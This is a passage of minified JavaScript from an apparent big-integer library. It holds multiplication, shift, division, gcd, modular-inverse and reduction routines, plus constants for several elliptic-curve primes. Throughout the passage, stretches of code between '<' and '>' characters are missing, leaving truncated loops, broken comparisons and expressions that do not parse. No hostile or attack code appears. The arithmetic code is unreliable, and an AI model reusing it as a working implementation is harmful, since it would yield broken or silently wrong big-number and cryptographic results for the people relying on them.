i=0,o=0;o>26,this.words[o]=67108863&e;for(;0!==i&&o>26,this.words[o]=67108863&e;if(0===i&&o>>13,l=0|o[1],f=8191&l,p=l>>>13,d=0|o[2],I=8191&d,y=d>>>13,C=0|o[3],m=8191&C,B=C>>>13,E=0|o[4],w=8191&E,v=E>>>13,_=0|o[5],Q=8191&_,b=_>>>13,k=0|o[6],D=8191&k,S=k>>>13,N=0|o[7],M=8191&N,x=N>>>13,F=0|o[8],P=8191&F,T=F>>>13,R=0|o[9],U=8191&R,G=R>>>13,H=0|s[0],L=8191&H,O=H>>>13,Y=0|s[1],K=8191&Y,J=Y>>>13,j=0|s[2],z=8191&j,q=j>>>13,X=0|s[3],V=8191&X,W=X>>>13,Z=0|s[4],$=8191&Z,tt=Z>>>13,et=0|s[5],rt=8191&et,nt=et>>>13,At=0|s[6],it=8191&At,ot=At>>>13,st=0|s[7],at=8191&st,ct=st>>>13,ht=0|s[8],gt=8191&ht,ut=ht>>>13,lt=0|s[9],ft=8191<,pt=lt>>>13;r.negative=t.negative^e.negative,r.length=19;var dt=(c+(n=Math.imul(g,L))|0)+((8191&(A=(A=Math.imul(g,O))+Math.imul(u,L)|0))<<13)|0;c=((i=Math.imul(u,O))+(A>>>13)|0)+(dt>>>26)|0,dt&=67108863,n=Math.imul(f,L),A=(A=Math.imul(f,O))+Math.imul(p,L)|0,i=Math.imul(p,O);var It=(c+(n=n+Math.imul(g,K)|0)|0)+((8191&(A=(A=A+Math.imul(g,J)|0)+Math.imul(u,K)|0))<<13)|0;c=((i=i+Math.imul(u,J)|0)+(A>>>13)|0)+(It>>>26)|0,It&=67108863,n=Math.imul(I,L),A=(A=Math.imul(I,O))+Math.imul(y,L)|0,i=Math.imul(y,O),n=n+Math.imul(f,K)|0,A=(A=A+Math.imul(f,J)|0)+Math.imul(p,K)|0,i=i+Math.imul(p,J)|0;var yt=(c+(n=n+Math.imul(g,z)|0)|0)+((8191&(A=(A=A+Math.imul(g,q)|0)+Math.imul(u,z)|0))<<13)|0;c=((i=i+Math.imul(u,q)|0)+(A>>>13)|0)+(yt>>>26)|0,yt&=67108863,n=Math.imul(m,L),A=(A=Math.imul(m,O))+Math.imul(B,L)|0,i=Math.imul(B,O),n=n+Math.imul(I,K)|0,A=(A=A+Math.imul(I,J)|0)+Math.imul(y,K)|0,i=i+Math.imul(y,J)|0,n=n+Math.imul(f,z)|0,A=(A=A+Math.imul(f,q)|0)+Math.imul(p,z)|0,i=i+Math.imul(p,q)|0;var Ct=(c+(n=n+Math.imul(g,V)|0)|0)+((8191&(A=(A=A+Math.imul(g,W)|0)+Math.imul(u,V)|0))<<13)|0;c=((i=i+Math.imul(u,W)|0)+(A>>>13)|0)+(Ct>>>26)|0,Ct&=67108863,n=Math.imul(w,L),A=(A=Math.imul(w,O))+Math.imul(v,L)|0,i=Math.imul(v,O),n=n+Math.imul(m,K)|0,A=(A=A+Math.imul(m,J)|0)+Math.imul(B,K)|0,i=i+Math.imul(B,J)|0,n=n+Math.imul(I,z)|0,A=(A=A+Math.imul(I,q)|0)+Math.imul(y,z)|0,i=i+Math.imul(y,q)|0,n=n+Math.imul(f,V)|0,A=(A=A+Math.imul(f,W)|0)+Math.imul(p,V)|0,i=i+Math.imul(p,W)|0;var mt=(c+(n=n+Math.imul(g,$)|0)|0)+((8191&(A=(A=A+Math.imul(g,tt)|0)+Math.imul(u,$)|0))<<13)|0;c=((i=i+Math.imul(u,tt)|0)+(A>>>13)|0)+(mt>>>26)|0,mt&=67108863,n=Math.imul(Q,L),A=(A=Math.imul(Q,O))+Math.imul(b,L)|0,i=Math.imul(b,O),n=n+Math.imul(w,K)|0,A=(A=A+Math.imul(w,J)|0)+Math.imul(v,K)|0,i=i+Math.imul(v,J)|0,n=n+Math.imul(m,z)|0,A=(A=A+Math.imul(m,q)|0)+Math.imul(B,z)|0,i=i+Math.imul(B,q)|0,n=n+Math.imul(I,V)|0,A=(A=A+Math.imul(I,W)|0)+Math.imul(y,V)|0,i=i+Math.imul(y,W)|0,n=n+Math.imul(f,$)|0,A=(A=A+Math.imul(f,tt)|0)+Math.imul(p,$)|0,i=i+Math.imul(p,tt)|0;var Bt=(c+(n=n+Math.imul(g,rt)|0)|0)+((8191&(A=(A=A+Math.imul(g,nt)|0)+Math.imul(u,rt)|0))<<13)|0;c=((i=i+Math.imul(u,nt)|0)+(A>>>13)|0)+(Bt>>>26)|0,Bt&=67108863,n=Math.imul(D,L),A=(A=Math.imul(D,O))+Math.imul(S,L)|0,i=Math.imul(S,O),n=n+Math.imul(Q,K)|0,A=(A=A+Math.imul(Q,J)|0)+Math.imul(b,K)|0,i=i+Math.imul(b,J)|0,n=n+Math.imul(w,z)|0,A=(A=A+Math.imul(w,q)|0)+Math.imul(v,z)|0,i=i+Math.imul(v,q)|0,n=n+Math.imul(m,V)|0,A=(A=A+Math.imul(m,W)|0)+Math.imul(B,V)|0,i=i+Math.imul(B,W)|0,n=n+Math.imul(I,$)|0,A=(A=A+Math.imul(I,tt)|0)+Math.imul(y,$)|0,i=i+Math.imul(y,tt)|0,n=n+Math.imul(f,rt)|0,A=(A=A+Math.imul(f,nt)|0)+Math.imul(p,rt)|0,i=i+Math.imul(p,nt)|0;var Et=(c+(n=n+Math.imul(g,it)|0)|0)+((8191&(A=(A=A+Math.imul(g,ot)|0)+Math.imul(u,it)|0))<<13)|0;c=((i=i+Math.imul(u,ot)|0)+(A>>>13)|0)+(Et>>>26)|0,Et&=67108863,n=Math.imul(M,L),A=(A=Math.imul(M,O))+Math.imul(x,L)|0,i=Math.imul(x,O),n=n+Math.imul(D,K)|0,A=(A=A+Math.imul(D,J)|0)+Math.imul(S,K)|0,i=i+Math.imul(S,J)|0,n=n+Math.imul(Q,z)|0,A=(A=A+Math.imul(Q,q)|0)+Math.imul(b,z)|0,i=i+Math.imul(b,q)|0,n=n+Math.imul(w,V)|0,A=(A=A+Math.imul(w,W)|0)+Math.imul(v,V)|0,i=i+Math.imul(v,W)|0,n=n+Math.imul(m,$)|0,A=(A=A+Math.imul(m,tt)|0)+Math.imul(B,$)|0,i=i+Math.imul(B,tt)|0,n=n+Math.imul(I,rt)|0,A=(A=A+Math.imul(I,nt)|0)+Math.imul(y,rt)|0,i=i+Math.imul(y,nt)|0,n=n+Math.imul(f,it)|0,A=(A=A+Math.imul(f,ot)|0)+Math.imul(p,it)|0,i=i+Math.imul(p,ot)|0;var wt=(c+(n=n+Math.imul(g,at)|0)|0)+((8191&(A=(A=A+Math.imul(g,ct)|0)+Math.imul(u,at)|0))<<13)|0;c=((i=i+Math.imul(u,ct)|0)+(A>>>13)|0)+(wt>>>26)|0,wt&=67108863,n=Math.imul(P,L),A=(A=Math.imul(P,O))+Math.imul(T,L)|0,i=Math.imul(T,O),n=n+Math.imul(M,K)|0,A=(A=A+Math.imul(M,J)|0)+Math.imul(x,K)|0,i=i+Math.imul(x,J)|0,n=n+Math.imul(D,z)|0,A=(A=A+Math.imul(D,q)|0)+Math.imul(S,z)|0,i=i+Math.imul(S,q)|0,n=n+Math.imul(Q,V)|0,A=(A=A+Math.imul(Q,W)|0)+Math.imul(b,V)|0,i=i+Math.imul(b,W)|0,n=n+Math.imul(w,$)|0,A=(A=A+Math.imul(w,tt)|0)+Math.imul(v,$)|0,i=i+Math.imul(v,tt)|0,n=n+Math.imul(m,rt)|0,A=(A=A+Math.imul(m,nt)|0)+Math.imul(B,rt)|0,i=i+Math.imul(B,nt)|0,n=n+Math.imul(I,it)|0,A=(A=A+Math.imul(I,ot)|0)+Math.imul(y,it)|0,i=i+Math.imul(y,ot)|0,n=n+Math.imul(f,at)|0,A=(A=A+Math.imul(f,ct)|0)+Math.imul(p,at)|0,i=i+Math.imul(p,ct)|0;var vt=(c+(n=n+Math.imul(g,gt)|0)|0)+((8191&(A=(A=A+Math.imul(g,ut)|0)+Math.imul(u,gt)|0))<<13)|0;c=((i=i+Math.imul(u,ut)|0)+(A>>>13)|0)+(vt>>>26)|0,vt&=67108863,n=Math.imul(U,L),A=(A=Math.imul(U,O))+Math.imul(G,L)|0,i=Math.imul(G,O),n=n+Math.imul(P,K)|0,A=(A=A+Math.imul(P,J)|0)+Math.imul(T,K)|0,i=i+Math.imul(T,J)|0,n=n+Math.imul(M,z)|0,A=(A=A+Math.imul(M,q)|0)+Math.imul(x,z)|0,i=i+Math.imul(x,q)|0,n=n+Math.imul(D,V)|0,A=(A=A+Math.imul(D,W)|0)+Math.imul(S,V)|0,i=i+Math.imul(S,W)|0,n=n+Math.imul(Q,$)|0,A=(A=A+Math.imul(Q,tt)|0)+Math.imul(b,$)|0,i=i+Math.imul(b,tt)|0,n=n+Math.imul(w,rt)|0,A=(A=A+Math.imul(w,nt)|0)+Math.imul(v,rt)|0,i=i+Math.imul(v,nt)|0,n=n+Math.imul(m,it)|0,A=(A=A+Math.imul(m,ot)|0)+Math.imul(B,it)|0,i=i+Math.imul(B,ot)|0,n=n+Math.imul(I,at)|0,A=(A=A+Math.imul(I,ct)|0)+Math.imul(y,at)|0,i=i+Math.imul(y,ct)|0,n=n+Math.imul(f,gt)|0,A=(A=A+Math.imul(f,ut)|0)+Math.imul(p,gt)|0,i=i+Math.imul(p,ut)|0;var _t=(c+(n=n+Math.imul(g,ft)|0)|0)+((8191&(A=(A=A+Math.imul(g,pt)|0)+Math.imul(u,ft)|0))<<13)|0;c=((i=i+Math.imul(u,pt)|0)+(A>>>13)|0)+(_t>>>26)|0,_t&=67108863,n=Math.imul(U,K),A=(A=Math.imul(U,J))+Math.imul(G,K)|0,i=Math.imul(G,J),n=n+Math.imul(P,z)|0,A=(A=A+Math.imul(P,q)|0)+Math.imul(T,z)|0,i=i+Math.imul(T,q)|0,n=n+Math.imul(M,V)|0,A=(A=A+Math.imul(M,W)|0)+Math.imul(x,V)|0,i=i+Math.imul(x,W)|0,n=n+Math.imul(D,$)|0,A=(A=A+Math.imul(D,tt)|0)+Math.imul(S,$)|0,i=i+Math.imul(S,tt)|0,n=n+Math.imul(Q,rt)|0,A=(A=A+Math.imul(Q,nt)|0)+Math.imul(b,rt)|0,i=i+Math.imul(b,nt)|0,n=n+Math.imul(w,it)|0,A=(A=A+Math.imul(w,ot)|0)+Math.imul(v,it)|0,i=i+Math.imul(v,ot)|0,n=n+Math.imul(m,at)|0,A=(A=A+Math.imul(m,ct)|0)+Math.imul(B,at)|0,i=i+Math.imul(B,ct)|0,n=n+Math.imul(I,gt)|0,A=(A=A+Math.imul(I,ut)|0)+Math.imul(y,gt)|0,i=i+Math.imul(y,ut)|0;var Qt=(c+(n=n+Math.imul(f,ft)|0)|0)+((8191&(A=(A=A+Math.imul(f,pt)|0)+Math.imul(p,ft)|0))<<13)|0;c=((i=i+Math.imul(p,pt)|0)+(A>>>13)|0)+(Qt>>>26)|0,Qt&=67108863,n=Math.imul(U,z),A=(A=Math.imul(U,q))+Math.imul(G,z)|0,i=Math.imul(G,q),n=n+Math.imul(P,V)|0,A=(A=A+Math.imul(P,W)|0)+Math.imul(T,V)|0,i=i+Math.imul(T,W)|0,n=n+Math.imul(M,$)|0,A=(A=A+Math.imul(M,tt)|0)+Math.imul(x,$)|0,i=i+Math.imul(x,tt)|0,n=n+Math.imul(D,rt)|0,A=(A=A+Math.imul(D,nt)|0)+Math.imul(S,rt)|0,i=i+Math.imul(S,nt)|0,n=n+Math.imul(Q,it)|0,A=(A=A+Math.imul(Q,ot)|0)+Math.imul(b,it)|0,i=i+Math.imul(b,ot)|0,n=n+Math.imul(w,at)|0,A=(A=A+Math.imul(w,ct)|0)+Math.imul(v,at)|0,i=i+Math.imul(v,ct)|0,n=n+Math.imul(m,gt)|0,A=(A=A+Math.imul(m,ut)|0)+Math.imul(B,gt)|0,i=i+Math.imul(B,ut)|0;var bt=(c+(n=n+Math.imul(I,ft)|0)|0)+((8191&(A=(A=A+Math.imul(I,pt)|0)+Math.imul(y,ft)|0))<<13)|0;c=((i=i+Math.imul(y,pt)|0)+(A>>>13)|0)+(bt>>>26)|0,bt&=67108863,n=Math.imul(U,V),A=(A=Math.imul(U,W))+Math.imul(G,V)|0,i=Math.imul(G,W),n=n+Math.imul(P,$)|0,A=(A=A+Math.imul(P,tt)|0)+Math.imul(T,$)|0,i=i+Math.imul(T,tt)|0,n=n+Math.imul(M,rt)|0,A=(A=A+Math.imul(M,nt)|0)+Math.imul(x,rt)|0,i=i+Math.imul(x,nt)|0,n=n+Math.imul(D,it)|0,A=(A=A+Math.imul(D,ot)|0)+Math.imul(S,it)|0,i=i+Math.imul(S,ot)|0,n=n+Math.imul(Q,at)|0,A=(A=A+Math.imul(Q,ct)|0)+Math.imul(b,at)|0,i=i+Math.imul(b,ct)|0,n=n+Math.imul(w,gt)|0,A=(A=A+Math.imul(w,ut)|0)+Math.imul(v,gt)|0,i=i+Math.imul(v,ut)|0;var kt=(c+(n=n+Math.imul(m,ft)|0)|0)+((8191&(A=(A=A+Math.imul(m,pt)|0)+Math.imul(B,ft)|0))<<13)|0;c=((i=i+Math.imul(B,pt)|0)+(A>>>13)|0)+(kt>>>26)|0,kt&=67108863,n=Math.imul(U,$),A=(A=Math.imul(U,tt))+Math.imul(G,$)|0,i=Math.imul(G,tt),n=n+Math.imul(P,rt)|0,A=(A=A+Math.imul(P,nt)|0)+Math.imul(T,rt)|0,i=i+Math.imul(T,nt)|0,n=n+Math.imul(M,it)|0,A=(A=A+Math.imul(M,ot)|0)+Math.imul(x,it)|0,i=i+Math.imul(x,ot)|0,n=n+Math.imul(D,at)|0,A=(A=A+Math.imul(D,ct)|0)+Math.imul(S,at)|0,i=i+Math.imul(S,ct)|0,n=n+Math.imul(Q,gt)|0,A=(A=A+Math.imul(Q,ut)|0)+Math.imul(b,gt)|0,i=i+Math.imul(b,ut)|0;var Dt=(c+(n=n+Math.imul(w,ft)|0)|0)+((8191&(A=(A=A+Math.imul(w,pt)|0)+Math.imul(v,ft)|0))<<13)|0;c=((i=i+Math.imul(v,pt)|0)+(A>>>13)|0)+(Dt>>>26)|0,Dt&=67108863,n=Math.imul(U,rt),A=(A=Math.imul(U,nt))+Math.imul(G,rt)|0,i=Math.imul(G,nt),n=n+Math.imul(P,it)|0,A=(A=A+Math.imul(P,ot)|0)+Math.imul(T,it)|0,i=i+Math.imul(T,ot)|0,n=n+Math.imul(M,at)|0,A=(A=A+Math.imul(M,ct)|0)+Math.imul(x,at)|0,i=i+Math.imul(x,ct)|0,n=n+Math.imul(D,gt)|0,A=(A=A+Math.imul(D,ut)|0)+Math.imul(S,gt)|0,i=i+Math.imul(S,ut)|0;var St=(c+(n=n+Math.imul(Q,ft)|0)|0)+((8191&(A=(A=A+Math.imul(Q,pt)|0)+Math.imul(b,ft)|0))<<13)|0;c=((i=i+Math.imul(b,pt)|0)+(A>>>13)|0)+(St>>>26)|0,St&=67108863,n=Math.imul(U,it),A=(A=Math.imul(U,ot))+Math.imul(G,it)|0,i=Math.imul(G,ot),n=n+Math.imul(P,at)|0,A=(A=A+Math.imul(P,ct)|0)+Math.imul(T,at)|0,i=i+Math.imul(T,ct)|0,n=n+Math.imul(M,gt)|0,A=(A=A+Math.imul(M,ut)|0)+Math.imul(x,gt)|0,i=i+Math.imul(x,ut)|0;var Nt=(c+(n=n+Math.imul(D,ft)|0)|0)+((8191&(A=(A=A+Math.imul(D,pt)|0)+Math.imul(S,ft)|0))<<13)|0;c=((i=i+Math.imul(S,pt)|0)+(A>>>13)|0)+(Nt>>>26)|0,Nt&=67108863,n=Math.imul(U,at),A=(A=Math.imul(U,ct))+Math.imul(G,at)|0,i=Math.imul(G,ct),n=n+Math.imul(P,gt)|0,A=(A=A+Math.imul(P,ut)|0)+Math.imul(T,gt)|0,i=i+Math.imul(T,ut)|0;var Mt=(c+(n=n+Math.imul(M,ft)|0)|0)+((8191&(A=(A=A+Math.imul(M,pt)|0)+Math.imul(x,ft)|0))<<13)|0;c=((i=i+Math.imul(x,pt)|0)+(A>>>13)|0)+(Mt>>>26)|0,Mt&=67108863,n=Math.imul(U,gt),A=(A=Math.imul(U,ut))+Math.imul(G,gt)|0,i=Math.imul(G,ut);var xt=(c+(n=n+Math.imul(P,ft)|0)|0)+((8191&(A=(A=A+Math.imul(P,pt)|0)+Math.imul(T,ft)|0))<<13)|0;c=((i=i+Math.imul(T,pt)|0)+(A>>>13)|0)+(xt>>>26)|0,xt&=67108863;var Ft=(c+(n=Math.imul(U,ft))|0)+((8191&(A=(A=Math.imul(U,pt))+Math.imul(G,ft)|0))<<13)|0;return c=((i=Math.imul(G,pt))+(A>>>13)|0)+(Ft>>>26)|0,Ft&=67108863,a[0]=dt,a[1]=It,a[2]=yt,a[3]=Ct,a[4]=mt,a[5]=Bt,a[6]=Et,a[7]=wt,a[8]=vt,a[9]=_t,a[10]=Qt,a[11]=bt,a[12]=kt,a[13]=Dt,a[14]=St,a[15]=Nt,a[16]=Mt,a[17]=xt,a[18]=Ft,0!==c&&(a[19]=c,r.length++),r};function d(t,e,r){r.negative=e.negative^t.negative,r.length=t.length+e.length;for(var n=0,A=0,i=0;i>>26)|0)>>>26,o&=67108863}r.words[i]=s,n=o,o=A}return 0!==n?r.words[i]=n:r.length--,r._strip()}function I(t,e,r){return d(t,e,r)}Math.imul||(p=f),A.prototype.mulTo=function(t,e){var r=this.length+t.length;return 10===this.length&&10===t.length?p(this,t,e):r<63?f(this,t,e):r<1024?d(this,t,e):I(this,t,e)},A.prototype.mul=function(t){var e=new A(null);return e.words=new Array(this.length+t.length),this.mulTo(t,e)},A.prototype.mulf=function(t){var e=new A(null);return e.words=new Array(this.length+t.length),I(this,t,e)},A.prototype.imul=function(t){return this.clone().mulTo(t,this)},A.prototype.imuln=function(t){var e=t<0;e&&(t=-t),r(\"number\"==typeof t),r(t<67108864);for(var n=0,A=0;A>=26,n+=i/67108864|0,n+=o>>>26,this.words[A]=67108863&o}return 0!==n&&(this.words[A]=n,this.length++),e?this.ineg():this},A.prototype.muln=function(t){return this.clone().imuln(t)},A.prototype.sqr=function(){return this.mul(this)},A.prototype.isqr=function(){return this.imul(this.clone())},A.prototype.pow=function(t){var e=function(t){for(var e=new Array(t.bitLength()),r=0;r>>A&1}return e}(t);if(0===e.length)return new A(1);for(var r=this,n=0;n=0);var e,n=t%26,A=(t-n)/26,i=67108863>>>26-n<<26-n;if(0!==n){var o=0;for(e=0;e>>26-n}o&&(this.words[e]=o,this.length++)}if(0!==A){for(e=this.length-1;e>=0;e--)this.words[e+A]=this.words[e];for(e=0;e=0),A=e?(e-e%26)/26:0;var i=t%26,o=Math.min((t-i)/26,this.length),s=67108863^67108863>>>i<o)for(this.length-=o,c=0;c=0&&(0!==h||c>=A);c--){var g=0|this.words[c];this.words[c]=h<<26-i|g>>>i,h=g&s}return a&&0!==h&&(a.words[a.length++]=h),0===this.length&&(this.words[0]=0,this.length=1),this._strip()},A.prototype.ishrn=function(t,e,n){return r(0===this.negative),this.iushrn(t,e,n)},A.prototype.shln=function(t){return this.clone().ishln(t)},A.prototype.ushln=function(t){return this.clone().iushln(t)},A.prototype.shrn=function(t){return this.clone().ishrn(t)},A.prototype.ushrn=function(t){return this.clone().iushrn(t)},A.prototype.testn=function(t){r(\"number\"==typeof t&&t>=0);var e=t%26,n=(t-e)/26,A=1<=0);var e=t%26,n=(t-e)/26;if(r(0===this.negative,\"imaskn works only with positive numbers\"),this.length<=n)return this;if(0!==e&&n++,this.length=Math.min(n,this.length),0!==e){var A=67108863^67108863>>>e<=67108864;e++)this.words[e]-=67108864,e===this.length-1?this.words[e+1]=1:this.words[e+1]++;return this.length=Math.max(this.length,e+1),this},A.prototype.isubn=function(t){if(r(\"number\"==typeof t),r(t<67108864),t<0)return this.iaddn(-t);if(0!==this.negative)return this.negative=0,this.iaddn(t),this.negative=1,this;if(this.words[0]-=t,1===this.length&&this.words[0]<0)this.words[0]=-this.words[0],this.negative=1;else for(var e=0;e>26)-(a/67108864|0),this.words[A+n]=67108863&i}for(;A>26,this.words[A+n]=67108863&i;if(0===s)return this._strip();for(r(-1===s),s=0,A=0;A>26,this.words[A]=67108863&i;return this.negative=1,this._strip()},A.prototype._wordDiv=function(t,e){var r=(this.length,t.length),n=this.clone(),i=t,o=0|i.words[i.length-1];0!==(r=26-this._countBits(o))&&(i=i.ushln(r),n.iushln(r),o=0|i.words[i.length-1]);var s,a=n.length-i.length;if(\"mod\"!==e){(s=new A(null)).length=a+1,s.words=new Array(s.length);for(var c=0;c=0;g--){var u=67108864*(0|n.words[i.length+g])+(0|n.words[i.length+g-1]);for(u=Math.min(u/o|0,67108863),n._ishlnsubmul(i,u,g);0!==n.negative;)u--,n.negative=0,n._ishlnsubmul(i,1,g),n.isZero()||(n.negative^=1);s&&(s.words[g]=u)}return s&&s._strip(),n._strip(),\"div\"!==e&&0!==r&&n.iushrn(r),{div:s||null,mod:n}},A.prototype.divmod=function(t,e,n){return r(!t.isZero()),this.isZero()?{div:new A(0),mod:new A(0)}:0!==this.negative&&0===t.negative?(s=this.neg().divmod(t,e),\"mod\"!==e&&(i=s.div.neg()),\"div\"!==e&&(o=s.mod.neg(),n&&0!==o.negative&&o.iadd(t)),{div:i,mod:o}):0===this.negative&&0!==t.negative?(s=this.divmod(t.neg(),e),\"mod\"!==e&&(i=s.div.neg()),{div:i,mod:s.mod}):this.negative&t.negative?(s=this.neg().divmod(t.neg(),e),\"div\"!==e&&(o=s.mod.neg(),n&&0!==o.negative&&o.isub(t)),{div:s.div,mod:o}):t.length>this.length||this.cmp(t)<0?{div:new A(0),mod:this}:1===t.length?\"div\"===e?{div:this.divn(t.words[0]),mod:null}:\"mod\"===e?{div:null,mod:new A(this.modrn(t.words[0]))}:{div:this.divn(t.words[0]),mod:new A(this.modrn(t.words[0]))}:this._wordDiv(t,e);var i,o,s},A.prototype.div=function(t){return this.divmod(t,\"div\",!1).div},A.prototype.mod=function(t){return this.divmod(t,\"mod\",!1).mod},A.prototype.umod=function(t){return this.divmod(t,\"mod\",!0).mod},A.prototype.divRound=function(t){var e=this.divmod(t);if(e.mod.isZero())return e.div;var r=0!==e.div.negative?e.mod.isub(t):e.mod,n=t.ushrn(1),A=t.andln(1),i=r.cmp(n);return i<0||1===A&&0===i?e.div:0!==e.div.negative?e.div.isubn(1):e.div.iaddn(1)},A.prototype.modrn=function(t){var e=t<0;e&&(t=-t),r(t<=67108863);for(var n=(1<<26)%t,A=0,i=this.length-1;i>=0;i--)A=(n*A+(0|this.words[i]))%t;return e?-A:A},A.prototype.modn=function(t){return this.modrn(t)},A.prototype.idivn=function(t){var e=t<0;e&&(t=-t),r(t<=67108863);for(var n=0,A=this.length-1;A>=0;A--){var i=(0|this.words[A])+67108864*n;this.words[A]=i/t|0,n=i%t}return this._strip(),e?this.ineg():this},A.prototype.divn=function(t){return this.clone().idivn(t)},A.prototype.egcd=function(t){r(0===t.negative),r(!t.isZero());var e=this,n=t.clone();e=0!==e.negative?e.umod(t):e.clone();for(var i=new A(1),o=new A(0),s=new A(0),a=new A(1),c=0;e.isEven()&&n.isEven();)e.iushrn(1),n.iushrn(1),++c;for(var h=n.clone(),g=e.clone();!e.isZero();){for(var u=0,l=1;!(e.words[0]&l)&&u<26;++u,l<<=1);if(u>0)for(e.iushrn(u);u-- >0;)(i.isOdd()||o.isOdd())&&(i.iadd(h),o.isub(g)),i.iushrn(1),o.iushrn(1);for(var f=0,p=1;!(n.words[0]&p)&&f<26;++f,p<<=1);if(f>0)for(n.iushrn(f);f-- >0;)(s.isOdd()||a.isOdd())&&(s.iadd(h),a.isub(g)),s.iushrn(1),a.iushrn(1);e.cmp(n)>=0?(e.isub(n),i.isub(s),o.isub(a)):(n.isub(e),s.isub(i),a.isub(o))}return{a:s,b:a,gcd:n.iushln(c)}},A.prototype._invmp=function(t){r(0===t.negative),r(!t.isZero());var e=this,n=t.clone();e=0!==e.negative?e.umod(t):e.clone();for(var i,o=new A(1),s=new A(0),a=n.clone();e.cmpn(1)>0&&n.cmpn(1)>0;){for(var c=0,h=1;!(e.words[0]&h)&&c<26;++c,h<<=1);if(c>0)for(e.iushrn(c);c-- >0;)o.isOdd()&&o.iadd(a),o.iushrn(1);for(var g=0,u=1;!(n.words[0]&u)&&g<26;++g,u<<=1);if(g>0)for(n.iushrn(g);g-- >0;)s.isOdd()&&s.iadd(a),s.iushrn(1);e.cmp(n)>=0?(e.isub(n),o.isub(s)):(n.isub(e),s.isub(o))}return(i=0===e.cmpn(1)?o:s).cmpn(0)<0&&i.iadd(t),i},A.prototype.gcd=function(t){if(this.isZero())return t.abs();if(t.isZero())return this.abs();var e=this.clone(),r=t.clone();e.negative=0,r.negative=0;for(var n=0;e.isEven()&&r.isEven();n++)e.iushrn(1),r.iushrn(1);for(;;){for(;e.isEven();)e.iushrn(1);for(;r.isEven();)r.iushrn(1);var A=e.cmp(r);if(A<0){var i=e;e=r,r=i}else if(0===A||0===r.cmpn(1))break;e.isub(r)}return r.iushln(n)},A.prototype.invm=function(t){return this.egcd(t).a.umod(t)},A.prototype.isEven=function(){return!(1&this.words[0])},A.prototype.isOdd=function(){return!(1&~this.words[0])},A.prototype.andln=function(t){return this.words[0]&t},A.prototype.bincn=function(t){r(\"number\"==typeof t);var e=t%26,n=(t-e)/26,A=1<>>26,s&=67108863,this.words[o]=s}return 0!==i&&(this.words[o]=i,this.length++),this},A.prototype.isZero=function(){return 1===this.length&&0===this.words[0]},A.prototype.cmpn=function(t){var e,n=t<0;if(0!==this.negative&&!n)return-1;if(0===this.negative&&n)return 1;if(this._strip(),this.length>1)e=1;else{n&&(t=-t),r(t<=67108863,\"Number is too big\");var A=0|this.words[0];e=A===t?0:At.length)return 1;if(this.length=0;r--){var n=0|this.words[r],A=0|t.words[r];if(n!==A){nA&&(e=1);break}}return e},A.prototype.gtn=function(t){return 1===this.cmpn(t)},A.prototype.gt=function(t){return 1===this.cmp(t)},A.prototype.gten=function(t){return this.cmpn(t)>=0},A.prototype.gte=function(t){return this.cmp(t)>=0},A.prototype.ltn=function(t){return-1===this.cmpn(t)},A.prototype.lt=function(t){return-1===this.cmp(t)},A.prototype.lten=function(t){return this.cmpn(t)<=0},A.prototype.lte=function(t){return this.cmp(t)<=0},A.prototype.eqn=function(t){return 0===this.cmpn(t)},A.prototype.eq=function(t){return 0===this.cmp(t)},A.red=function(t){return new v(t)},A.prototype.toRed=function(t){return r(!this.red,\"Already a number in reduction context\"),r(0===this.negative,\"red works only with positives\"),t.convertTo(this)._forceRed(t)},A.prototype.fromRed=function(){return r(this.red,\"fromRed works only with numbers in reduction context\"),this.red.convertFrom(this)},A.prototype._forceRed=function(t){return this.red=t,this},A.prototype.forceRed=function(t){return r(!this.red,\"Already a number in reduction context\"),this._forceRed(t)},A.prototype.redAdd=function(t){return r(this.red,\"redAdd works only with red numbers\"),this.red.add(this,t)},A.prototype.redIAdd=function(t){return r(this.red,\"redIAdd works only with red numbers\"),this.red.iadd(this,t)},A.prototype.redSub=function(t){return r(this.red,\"redSub works only with red numbers\"),this.red.sub(this,t)},A.prototype.redISub=function(t){return r(this.red,\"redISub works only with red numbers\"),this.red.isub(this,t)},A.prototype.redShl=function(t){return r(this.red,\"redShl works only with red numbers\"),this.red.shl(this,t)},A.prototype.redMul=function(t){return r(this.red,\"redMul works only with red numbers\"),this.red._verify2(this,t),this.red.mul(this,t)},A.prototype.redIMul=function(t){return r(this.red,\"redMul works only with red numbers\"),this.red._verify2(this,t),this.red.imul(this,t)},A.prototype.redSqr=function(){return r(this.red,\"redSqr works only with red numbers\"),this.red._verify1(this),this.red.sqr(this)},A.prototype.redISqr=function(){return r(this.red,\"redISqr works only with red numbers\"),this.red._verify1(this),this.red.isqr(this)},A.prototype.redSqrt=function(){return r(this.red,\"redSqrt works only with red numbers\"),this.red._verify1(this),this.red.sqrt(this)},A.prototype.redInvm=function(){return r(this.red,\"redInvm works only with red numbers\"),this.red._verify1(this),this.red.invm(this)},A.prototype.redNeg=function(){return r(this.red,\"redNeg works only with red numbers\"),this.red._verify1(this),this.red.neg(this)},A.prototype.redPow=function(t){return r(this.red&&!t.red,\"redPow(normalNum)\"),this.red._verify1(this),this.red.pow(this,t)};var y={k256:null,p224:null,p192:null,p25519:null};function C(t,e){this.name=t,this.p=new A(e,16),this.n=this.p.bitLength(),this.k=new A(1).iushln(this.n).isub(this.p),this.tmp=this._tmp()}function m(){C.call(this,\"k256\",\"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f\")}function B(){C.call(this,\"p224\",\"ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001\")}function E(){C.call(this,\"p192\",\"ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff\")}function w(){C.call(this,\"25519\",\"7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed\")}function v(t){if(\"string\"==typeof t){var e=A._prime(t);this.m=e.p,this.prime=e}else r(t.gtn(1),\"modulus must be greater than 1\"),this.m=t,this.prime=null}function _(t){v.call(this,t),this.shift=this.m.bitLength(),this.shift%26!=0&&(this.shift+=26-this.shift%26),this.r=new A(1).iushln(this.shift),this.r2=this.imod(this.r.sqr()),this.rinv=this.r._invmp(this.m),this.minv=this.rinv.mul(this.r).isubn(1).div(this.m),this.minv=this.minv.umod(this.r),this.minv=this.r.sub(this.minv)}C.prototype._tmp=function(){var t=new A(null);return t.words=new Array(Math.ceil(this.n/13)),t},C.prototype.ireduce=function(t){var e,r=t;do{this.split(r,this.tmp),e=(r=(r=this.imulK(r)).iadd(this.tmp)).bitLength()}while(e>this.n);var n=e0?r.isub(this.p):void 0!==r.strip?r.strip():r._strip(),r},C.prototype.split=function(t,e){t.iushrn(this.n,0,e)},C.prototype.imulK=function(t){return 